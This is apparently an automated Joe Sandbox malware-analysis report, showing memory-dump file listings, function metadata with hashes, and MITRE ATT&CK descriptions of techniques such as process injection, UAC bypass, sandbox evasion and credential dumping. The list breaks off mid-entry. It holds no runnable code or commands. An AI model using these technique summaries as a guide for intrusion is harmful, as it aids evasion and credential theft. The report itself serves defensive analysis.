Associated: 00000004.00000002.2911841706.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911858842.0000000000F45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911879257.0000000000F5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911898715.0000000000F6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911915200.0000000000F6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911931582.0000000000F72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911949434.0000000000F7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911965170.0000000000F7F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911980388.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911995883.0000000000F83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912016493.0000000000F9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912034900.0000000000F9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912051790.0000000000FA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912067874.0000000000FA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912084990.0000000000FA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912101787.0000000000FB1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912118222.0000000000FB2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912189589.0000000000FB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912233442.0000000000FC5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912250371.0000000000FCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912268386.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912285653.0000000000FD6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912302355.0000000000FDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912318043.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912336143.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912351329.0000000000FEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912367412.0000000000FEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912383545.0000000000FF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912399972.0000000000FF3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912417188.0000000000FF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912447948.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912447948.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912483531.0000000001052000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912500309.0000000001054000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d90000_V5GJ8YFILNHAP99OFNDK6O9IE.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ded79a6e91d8d72ce71fb50cafc4c51b64e27f628b233a1a5295ac8b4c708a2d
Instruction ID: c649871c93f54dc1219ae1bfc4d9712f17aead6d8f8e34994e7cb1e731278d53
Opcode Fuzzy Hash: ded79a6e91d8d72ce71fb50cafc4c51b64e27f628b233a1a5295ac8b4c708a2d
Instruction Fuzzy Hash: E201D6B280D304EFD3459F25E54522ABBF5FF64751F6A881DE1C982241E7398940AF07

Function 00D9E8D1 Relevance: 1.3, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00D9F3E8

Memory Dump Source

Source File: 00000004.00000002.2911587444.0000000000D9A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000004.00000002.2911539118.0000000000D90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911555103.0000000000D92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911571264.0000000000D96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911605810.0000000000DA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911699956.0000000000F06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911717612.0000000000F09000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911738169.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911738169.0000000000F2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911776380.0000000000F34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911792791.0000000000F35000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911810396.0000000000F40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911826051.0000000000F41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911841706.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911858842.0000000000F45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911879257.0000000000F5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911898715.0000000000F6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911915200.0000000000F6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911931582.0000000000F72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911949434.0000000000F7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911965170.0000000000F7F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911980388.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911995883.0000000000F83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912016493.0000000000F9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912034900.0000000000F9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912051790.0000000000FA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912067874.0000000000FA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912084990.0000000000FA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912101787.0000000000FB1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912118222.0000000000FB2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912189589.0000000000FB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912233442.0000000000FC5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912250371.0000000000FCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912268386.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912285653.0000000000FD6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912302355.0000000000FDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912318043.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912336143.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912351329.0000000000FEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912367412.0000000000FEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912383545.0000000000FF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912399972.0000000000FF3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912417188.0000000000FF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912447948.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912447948.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912483531.0000000001052000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912500309.0000000001054000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d90000_V5GJ8YFILNHAP99OFNDK6O9IE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1d4aa61daa3e494ca9f316ff19eb6b44e138331a5097b17c4300410efd514378
Instruction ID: 0ffe8d7fc62f67be466863ef15e8ea9dc504beb6edebdda35c81adcfc465c9b5
Opcode Fuzzy Hash: 1d4aa61daa3e494ca9f316ff19eb6b44e138331a5097b17c4300410efd514378
Instruction Fuzzy Hash: 821151F1A0C200AFD704AF2DD84577BB6E9EF88700F14893CA6C9C7754EA319C509667

Function 00D9E756 Relevance: 1.3, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00D9E756

Memory Dump Source

Source File: 00000004.00000002.2911587444.0000000000D9A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000004.00000002.2911539118.0000000000D90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911555103.0000000000D92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911571264.0000000000D96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911605810.0000000000DA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911699956.0000000000F06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911717612.0000000000F09000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911738169.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911738169.0000000000F2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911776380.0000000000F34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911792791.0000000000F35000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911810396.0000000000F40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911826051.0000000000F41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911841706.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911858842.0000000000F45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911879257.0000000000F5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911898715.0000000000F6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911915200.0000000000F6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911931582.0000000000F72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911949434.0000000000F7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911965170.0000000000F7F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911980388.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911995883.0000000000F83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912016493.0000000000F9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912034900.0000000000F9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912051790.0000000000FA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912067874.0000000000FA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912084990.0000000000FA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912101787.0000000000FB1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912118222.0000000000FB2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912189589.0000000000FB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912233442.0000000000FC5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912250371.0000000000FCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912268386.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912285653.0000000000FD6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912302355.0000000000FDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912318043.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912336143.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912351329.0000000000FEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912367412.0000000000FEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912383545.0000000000FF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912399972.0000000000FF3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912417188.0000000000FF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912447948.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912447948.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912483531.0000000001052000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912500309.0000000001054000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d90000_V5GJ8YFILNHAP99OFNDK6O9IE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 02ea3ffecfb4d21bcf52872edb73b9cfe467216fbec9a6f42f6531ce897b4f65
Instruction ID: 9860334dbd79997c97363e9be6bae04c912e057331034dd354e88884a335f489
Opcode Fuzzy Hash: 02ea3ffecfb4d21bcf52872edb73b9cfe467216fbec9a6f42f6531ce897b4f65
Instruction Fuzzy Hash: 8BC04C7551459ECBCF405F74D40C4CE3B30EE45325B204601FC6285EC0DB329C60CA58

Non-executed Functions

Function 00F220FF Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

Rxo, xrefs: 00F22177

Memory Dump Source

Source File: 00000004.00000002.2911738169.0000000000F1E000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000004.00000002.2911539118.0000000000D90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911555103.0000000000D92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911571264.0000000000D96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911587444.0000000000D9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911605810.0000000000DA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911699956.0000000000F06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911717612.0000000000F09000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911738169.0000000000F2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911776380.0000000000F34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911792791.0000000000F35000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911810396.0000000000F40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911826051.0000000000F41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911841706.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911858842.0000000000F45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911879257.0000000000F5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911898715.0000000000F6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911915200.0000000000F6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911931582.0000000000F72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911949434.0000000000F7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911965170.0000000000F7F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911980388.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911995883.0000000000F83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912016493.0000000000F9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912034900.0000000000F9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912051790.0000000000FA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912067874.0000000000FA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912084990.0000000000FA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912101787.0000000000FB1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912118222.0000000000FB2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912189589.0000000000FB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912233442.0000000000FC5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912250371.0000000000FCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912268386.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912285653.0000000000FD6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912302355.0000000000FDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912318043.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912336143.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912351329.0000000000FEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912367412.0000000000FEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912383545.0000000000FF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912399972.0000000000FF3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912417188.0000000000FF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912447948.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912447948.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912483531.0000000001052000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912500309.0000000001054000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d90000_V5GJ8YFILNHAP99OFNDK6O9IE.jbxd

Similarity

API ID:
String ID: Rxo
API String ID: 0-3900499177
Opcode ID: 7908309356ce8f522ec589ea44284d3c1c9cde422d99c8964c788200fcb0d478
Instruction ID: a4879091ab63d64b0275e175673b2b47d7b0d3fb125df25bfebc1c9ff2897e0d
Opcode Fuzzy Hash: 7908309356ce8f522ec589ea44284d3c1c9cde422d99c8964c788200fcb0d478
Instruction Fuzzy Hash: C2416CF250C750AFE759AF18E891A7ABBE8EF55320F16482EE6C4C7250E3350850DB97

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
